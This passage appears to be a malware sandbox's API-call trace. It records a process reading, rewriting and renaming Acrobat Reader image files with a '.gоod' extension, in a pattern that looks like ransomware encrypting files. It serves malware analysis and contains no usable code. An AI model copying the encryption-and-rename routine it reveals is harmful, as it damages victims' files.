WriteFile (in: hFile=0x7f8, lpBuffer=0x339ce50*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x1fdeae98, lpOverlapped=0x0 | out: lpBuffer=0x339ce50*, lpNumberOfBytesWritten=0x1fdeae98*=0x140, lpOverlapped=0x0) returned 1 [0154.325] CloseHandle (hObject=0x7f8) returned 1 [0154.325] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\close_x.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\close_x.png", lpFilePart=0x0) returned 0x72 [0154.325] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\close_x.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\close_x.png.gоod", lpFilePart=0x0) returned 0x77 [0154.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0154.325] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\close_x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\close_x.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5832490c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x140)) returned 1 [0154.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0154.325] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\close_x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\close_x.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\close_x.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\close_x.png.gоod")) returned 1 [0154.326] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons.png", lpFilePart=0x0) returned 0x75 [0154.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0154.326] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\core_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x339e1e8 | out: lpFileInformation=0x339e1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7068)) returned 1 [0154.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0154.326] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons.png", lpFilePart=0x0) returned 0x75 [0154.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0154.326] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\core_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0154.327] GetFileType (hFile=0x7f8) returned 0x1 [0154.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0154.327] GetFileType (hFile=0x7f8) returned 0x1 [0154.327] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1000 [0154.327] ReadFile (in: hFile=0x7f8, lpBuffer=0x339e6c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb028, lpOverlapped=0x0 | out: lpBuffer=0x339e6c0*, lpNumberOfBytesRead=0x1fdeb028*=0x1000, lpOverlapped=0x0) returned 1 [0154.467] CloseHandle (hObject=0x7f8) returned 1 [0154.468] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons.png", lpFilePart=0x0) returned 0x75 [0154.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0154.468] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\core_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0154.468] GetFileType (hFile=0x7f8) returned 0x1 [0154.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0154.468] GetFileType (hFile=0x7f8) returned 0x1 [0154.468] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x7068 [0154.468] WriteFile (in: hFile=0x7f8, lpBuffer=0x32d58d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeaf48, lpOverlapped=0x0 | out: lpBuffer=0x32d58d0*, lpNumberOfBytesWritten=0x1fdeaf48*=0x10, lpOverlapped=0x0) returned 1 [0154.469] CloseHandle (hObject=0x7f8) returned 1 [0154.469] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons.png", lpFilePart=0x0) returned 0x75 [0154.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0154.469] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\core_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0154.470] GetFileType (hFile=0x7f8) returned 0x1 [0154.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0154.470] GetFileType (hFile=0x7f8) returned 0x1 [0154.470] ReadFile (in: hFile=0x7f8, lpBuffer=0x32d9c50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeafd8, lpOverlapped=0x0 | out: lpBuffer=0x32d9c50*, lpNumberOfBytesRead=0x1fdeafd8*=0x1000, lpOverlapped=0x0) returned 1 [0154.497] CloseHandle (hObject=0x7f8) returned 1 [0154.497] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons.png", lpFilePart=0x0) returned 0x75 [0154.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0154.497] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\core_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0154.498] GetFileType (hFile=0x7f8) returned 0x1 [0154.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0154.498] GetFileType (hFile=0x7f8) returned 0x1 [0154.498] WriteFile (in: hFile=0x7f8, lpBuffer=0x32d8948*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdeb088, lpOverlapped=0x0 | out: lpBuffer=0x32d8948*, lpNumberOfBytesWritten=0x1fdeb088*=0x1010, lpOverlapped=0x0) returned 1 [0154.498] CloseHandle (hObject=0x7f8) returned 1 [0154.498] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons.png", lpFilePart=0x0) returned 0x75 [0154.498] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons.png.gоod", lpFilePart=0x0) returned 0x7a [0154.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0154.498] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\core_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x584c84e4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7078)) returned 1 [0154.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0154.498] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\core_icons.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\core_icons.png.gоod")) returned 1 [0154.499] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons_retina.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons_retina.png", lpFilePart=0x0) returned 0x7c [0154.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0154.499] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\core_icons_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x33580e0 | out: lpFileInformation=0x33580e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xfdf8)) returned 1 [0154.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0154.500] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons_retina.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons_retina.png", lpFilePart=0x0) returned 0x7c [0154.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0154.500] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\core_icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0154.500] GetFileType (hFile=0x7f8) returned 0x1 [0154.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0154.500] GetFileType (hFile=0x7f8) returned 0x1 [0154.500] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1000 [0154.500] ReadFile (in: hFile=0x7f8, lpBuffer=0x33585f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb028, lpOverlapped=0x0 | out: lpBuffer=0x33585f8*, lpNumberOfBytesRead=0x1fdeb028*=0x1000, lpOverlapped=0x0) returned 1 [0154.676] CloseHandle (hObject=0x7f8) returned 1 [0155.283] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons_retina.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons_retina.png", lpFilePart=0x0) returned 0x7c [0155.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0155.283] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\core_icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0155.284] GetFileType (hFile=0x7dc) returned 0x1 [0155.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0155.284] GetFileType (hFile=0x7dc) returned 0x1 [0155.284] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0xfdf8 [0155.284] WriteFile (in: hFile=0x7dc, lpBuffer=0x33161b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeaf48, lpOverlapped=0x0 | out: lpBuffer=0x33161b0*, lpNumberOfBytesWritten=0x1fdeaf48*=0x10, lpOverlapped=0x0) returned 1 [0155.284] CloseHandle (hObject=0x7dc) returned 1 [0155.285] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons_retina.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons_retina.png", lpFilePart=0x0) returned 0x7c [0155.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0155.285] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\core_icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0155.285] GetFileType (hFile=0x7dc) returned 0x1 [0155.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0155.285] GetFileType (hFile=0x7dc) returned 0x1 [0155.285] ReadFile (in: hFile=0x7dc, lpBuffer=0x33184f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeafd8, lpOverlapped=0x0 | out: lpBuffer=0x33184f0*, lpNumberOfBytesRead=0x1fdeafd8*=0x1000, lpOverlapped=0x0) returned 1 [0155.312] CloseHandle (hObject=0x7dc) returned 1 [0155.313] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons_retina.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons_retina.png", lpFilePart=0x0) returned 0x7c [0155.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0155.313] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\core_icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0155.313] GetFileType (hFile=0x7dc) returned 0x1 [0155.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0155.313] GetFileType (hFile=0x7dc) returned 0x1 [0155.313] WriteFile (in: hFile=0x7dc, lpBuffer=0x33171c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdeb088, lpOverlapped=0x0 | out: lpBuffer=0x33171c8*, lpNumberOfBytesWritten=0x1fdeb088*=0x1010, lpOverlapped=0x0) returned 1 [0155.313] CloseHandle (hObject=0x7dc) returned 1 [0155.313] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons_retina.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons_retina.png", lpFilePart=0x0) returned 0x7c [0155.313] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons_retina.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons_retina.png.gоod", lpFilePart=0x0) returned 0x81 [0155.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0155.313] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\core_icons_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x58c87f4c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xfe08)) returned 1 [0155.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0155.314] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\core_icons_retina.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons_retina.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\core_icons_retina.png.gоod")) returned 1 [0155.314] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\dd_arrow_small.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\dd_arrow_small.png", lpFilePart=0x0) returned 0x79 [0155.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0155.314] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\dd_arrow_small.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\dd_arrow_small.png"), fInfoLevelId=0x0, lpFileInformation=0x3395cf0 | out: lpFileInformation=0x3395cf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x44b)) returned 1 [0155.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0155.316] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\dd_arrow_small.png", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\dd_arrow_small.png", lpFilePart=0x0) returned 0x79 [0155.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0155.316] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\dd_arrow_small.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\dd_arrow_small.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0155.316] GetFileType (hFile=0x7dc) returned 0x1 [0155.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0155.316] GetFileType (hFile=0x7dc) returned 0x1 [0155.316] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x1fdeb058 | out: lpFileSizeHigh=0x1fdeb058*=0x0) returned 0x44b [0155.316] ReadFile (in: hFile=0x7dc, lpBuffer=0x33964c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeaf88, lpOverlapped=0x0 | out: lpBuffer=0x33964c8*, lpNumberOfBytesRead=0x1fdeaf88*=0x44b, lpOverlapped=0x0) returned 1 [0155.582] CloseHandle (hObject=0x7dc) returned 1 [0155.684] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\dd_arrow_small.png", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\dd_arrow_small.png", lpFilePart=0x0) returned 0x79 [0155.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0155.684] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\dd_arrow_small.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\dd_arrow_small.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0155.685] 